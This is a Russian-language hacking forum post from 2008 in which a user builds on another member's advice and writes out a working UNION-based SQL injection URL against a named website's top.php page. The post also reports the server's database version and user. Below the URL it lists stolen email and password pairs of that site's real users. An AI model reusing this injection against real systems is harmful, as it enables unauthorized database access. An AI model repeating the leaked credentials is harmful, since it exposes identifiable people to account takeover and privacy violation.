Показать сообщение отдельно

  #4460  
Старый 11.01.2008, 22:47
ElteRUS
Постоянный
Регистрация: 11.10.2007
Сообщений: 406
С нами: 9780227

Репутация: 1423
По умолчанию

Цитата:
Сообщение от .Begemot.  
Используй конструкцию order+by+1/* (подробнее читай в разделе статьи) Там 25 столбцов.
4.1.22-standard:ivfr_top1@localhost:ivfr_top
И нету доступа к information_schema ) После нескольких попыток перебора получаем

http://www.top.iv-fr.net/top.php?cat=-1+union+select+1,2,3,4,concat_ws(0x2F,mail,password),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,2 3,24,25+from+top_users/*

мейл/пароль
top@iv-fr.net/1
npetia@inbox.ru/8kl9mt
pp.majesty@online.ua/dwpa8g
и тд.

ЗЫ если хочешь поставить кому-нибудь плюс - жми на кнопку репутация в правом верхнем углу поста, а не на те +- под аватаркой ))

Последний раз редактировалось ElteRUS; 11.01.2008 в 22:55..
 
Ответить с цитированием